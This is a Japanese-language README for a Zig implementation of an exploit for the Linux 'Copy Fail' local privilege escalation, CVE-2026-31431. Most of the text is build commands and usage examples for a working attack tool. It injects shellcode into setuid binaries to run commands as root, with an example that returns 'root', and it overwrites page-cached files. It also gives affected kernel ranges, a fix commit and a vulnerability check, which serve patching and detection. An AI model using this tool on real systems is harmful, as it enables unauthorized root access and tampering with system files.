
ZigによるCopy Fail Linux LPE(CVE-2026-31431)の実装で、セキュリティ研究と防御的検知のために脆弱性を悪用するスタンドアロンバイナリを提供します。シェルコードインジェクションとシステム脆弱性チェックを含みます。
732バイトの概念実証のZig実装です。これは、2026年4月29日にTheori / Xintによって公開されたCopy Fail Linux LPE(CVE-2026-31431)に対するものです。 詳細な解説はcopy.failで確認できます。
この実装には実行時依存関係がなく、スタンドアロンバイナリとして実行できます。
エクスプロイトのビルドにはzigバージョン0.16.0以上が必要です。ziglang.orgからインストールできます。 エクスプロイトをビルドするには、ターミナルで以下のコマンドを実行します:
zig build
オプションとして、異なるターゲット向けにクロスビルドすることもできます。 例:
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
または、非圧縮ペイロードを使用する場合:
zig build -Dcompress=false
コンパイル済みバイナリを実行するか、zigを使用して実行します。
zig-out/bin/copyfail
または
zig build run
$ zig-out/bin/copyfail
Usage:
run <path> <data> [offset] [-- args...] - Write data to the executable at the given offset (default 0) and run it
sudo <suid_path> [command...] - Runs a command as root by writing shellcode to a suid binary.
(the first argument of command must be the full path to program to run)
modify <path> <data> [offset] - Write data to the file at the given offset (default 0)
reset <path> - Reset the file to its original state
help - Show this message
実行可能ファイルは異なるコマンドで実行できます:
run
まず、指定されたオフセット(デフォルトは0)で提供されたデータを指定されたパスの実行可能ファイルに書き込み、その後実行します。
実行が完了すると、posix_fadviseを使用してファイルは元の状態にリセットされます。
例:
copyfail run /path/to/exe $(cat shellcode_bin) -- /bin/sh
sudo
含まれているシェルコードをsuidバイナリに書き込み、それを実行してrootとしてコマンドを実行します。
シェルコードのソースコードはpayloads/sudo.zigにあります。
シェルコードは実行するプログラムを検索しないため、コマンドの最初の引数はプログラムのフルパスである必要があります。
実行が完了すると、runコマンドと同様にファイルはリセットされます。
例:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
実行せずに、指定されたオフセット(デフォルトは0)で提供されたデータを指定されたパスのファイルに書き込みます。
変更後、ファイルはリセットされません。リセットするにはresetコマンドを使用してください。
例:
copyfail modify /path/to/file "My new content" 1337
reset
posix_fadviseを使用して、指定されたパスのファイルを元の状態にリセットします。これによりキャッシュされたページが破棄され、次回アクセス時にディスクからコンテンツが読み込まれます。
例:
copyfail reset /path/to/file
is_vulnerable
一時ファイルを作成し、テストデータを書き込んでから読み戻してデータが破損していないかを確認することで、システムが脆弱かどうかをチェックします。
例:
$ copyfail is_vulnerable
warning: System is vulnerable
または
info: System is not vulnerable
help
使用方法のメッセージを表示します。
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
その間: 修正をバックポートしなかったすべての主要ディストリビューションカーネル。
Ubuntu、RHEL、SUSE、Amazon Linux、Debianはすべて、公開時点で標準のクラウドイメージカーネルが脆弱であることが確認されました。ディストリビューションレベルのバックポートは、公開と同時に2026-04-29頃から展開され始めました。対象のカーネルが影響範囲内かどうかを確認するには、カーネルのgitログまたはディストリビューションのチェンジログにa664bf3d603d(またはそのディストリビューション固有のバックポート)が存在するかどうかを確認してください。
CVE-2026-31431の発見と最初の公開: Theori / Xint。 公開された解説: copy.fail。
このZig実装: Emmmmllll [email protected]
Zigコンパイラと標準ライブラリ: Zig Software Foundation(MITライセンス https://codeberg.org/ziglang/zig)。
このエクスプロイトとペイロードは、セキュリティ研究および防御的検出の目的で公開されています。所有していないシステムや明示的なテスト許可がないシステムでの使用は、作者ではなく利用者の責任です。